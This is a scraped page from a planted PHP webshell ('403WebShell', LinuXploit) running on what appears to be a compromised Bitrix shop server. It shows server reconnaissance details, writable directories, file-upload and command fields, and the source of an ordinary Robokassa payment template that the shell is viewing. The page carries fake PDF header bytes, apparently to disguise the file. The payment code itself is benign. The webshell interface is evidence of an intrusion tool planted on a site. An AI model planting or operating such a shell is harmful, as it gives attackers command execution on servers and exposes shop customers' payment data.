%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 18.188.142.218
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/sale/handlers/paysystem/roboxchange/template/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/sale/handlers/paysystem/roboxchange/template/iframe.php
<?php
use Bitrix\Main\Localization\Loc;
Loc::loadMessages(__FILE__);
/**
 * @var array $params
 */
?>
<div class="mb-4" >
	<p><?= Loc::getMessage('SALE_HANDLERS_PAY_SYSTEM_TEMPLATE_ROBOXCHANGE_IFRAME_DESCRIPTION') ?></p>
	<p><?= Loc::getMessage('SALE_HANDLERS_PAY_SYSTEM_TEMPLATE_ROBOXCHANGE_IFRAME_SUM',
			[
				'#SUM#' => SaleFormatCurrency($params['SUM'], $params['CURRENCY']),
			]
		) ?></p>
	<div class="d-flex align-items-center mb-3">
		<div class="col-auto pl-0">
			<a class="btn btn-lg btn-success pl-4 pr-4" style="border-radius: 32px;" id="paysystem-roboxchange-button-pay" href="#"><?= Loc::getMessage('SALE_HANDLERS_PAY_SYSTEM_TEMPLATE_ROBOXCHANGE_IFRAME_BUTTON_PAID') ?></a>
		</div>
	</div>
	<div class="alert alert-info"><?= Loc::getMessage('SALE_HANDLERS_PAY_SYSTEM_TEMPLATE_ROBOXCHANGE_IFRAME_WARNING_RETURN') ?></div>
</div>

<script type="text/javascript" src="https://auth.robokassa.ru/Merchant/bundle/robokassa_iframe.js"></script>
<script>
	function showPaymentFrame(params)
	{
		Robokassa.StartPayment(params);
	}

	BX.ready(function(){
		var params = {
			MerchantLogin: "<?= CUtil::JSEscape($params['ROBOXCHANGE_SHOPLOGIN']) ?>",
			OutSum: "<?= CUtil::JSEscape($params['SUM']) ?>",
			InvId: "<?= CUtil::JSEscape($params['PAYMENT_ID']) ?>",
			Description: "<?= CUtil::JSEscape($params['ROBOXCHANGE_ORDERDESCR']) ?>",
			Culture: "<?= LANGUAGE_ID ?>",
			Encoding: "utf-8",
			SignatureValue: "<?= CUtil::JSEscape($params['SIGNATURE_VALUE']) ?>",
		}

		<?php if (!empty($params['OUT_SUM_CURRENCY'])):?>
			params.OutSumCurrency = "<?= CUtil::JSEscape($params['OUT_SUM_CURRENCY']) ?>";
		<?php endif; ?>

		<?php if ($params['PS_MODE']):?>
			params.IncCurrLabel = "<?= CUtil::JSEscape($params['PS_MODE']) ?>";
		<?php endif; ?>

		<?php if ($params['RECEIPT']):?>
			params.Receipt = "<?= CUtil::JSEscape($params['RECEIPT']) ?>";
		<?php endif; ?>

		var email = "<?= CUtil::JSEscape($params['BUYER_PERSON_EMAIL']) ?>";
		if (email)
		{
			params.Email = email;
		}

		var additionalUserFields = <?= CUtil::PhpToJSObject($params['ADDITIONAL_USER_FIELDS']) ?>;
		params = Object.assign(params, additionalUserFields);

		var isTest = "<?= CUtil::JSEscape($params['PS_IS_TEST']) ?>";
		if (isTest === 'Y')
		{
			params.IsTest = 1;
		}

		showPaymentFrame(params);

		BX.bind(BX('paysystem-roboxchange-button-pay'), 'click', BX.proxy(function () {
			showPaymentFrame(params);
		}, this));
	});
</script>

Youez - 2016 - github.com/yon3zu
LinuXploit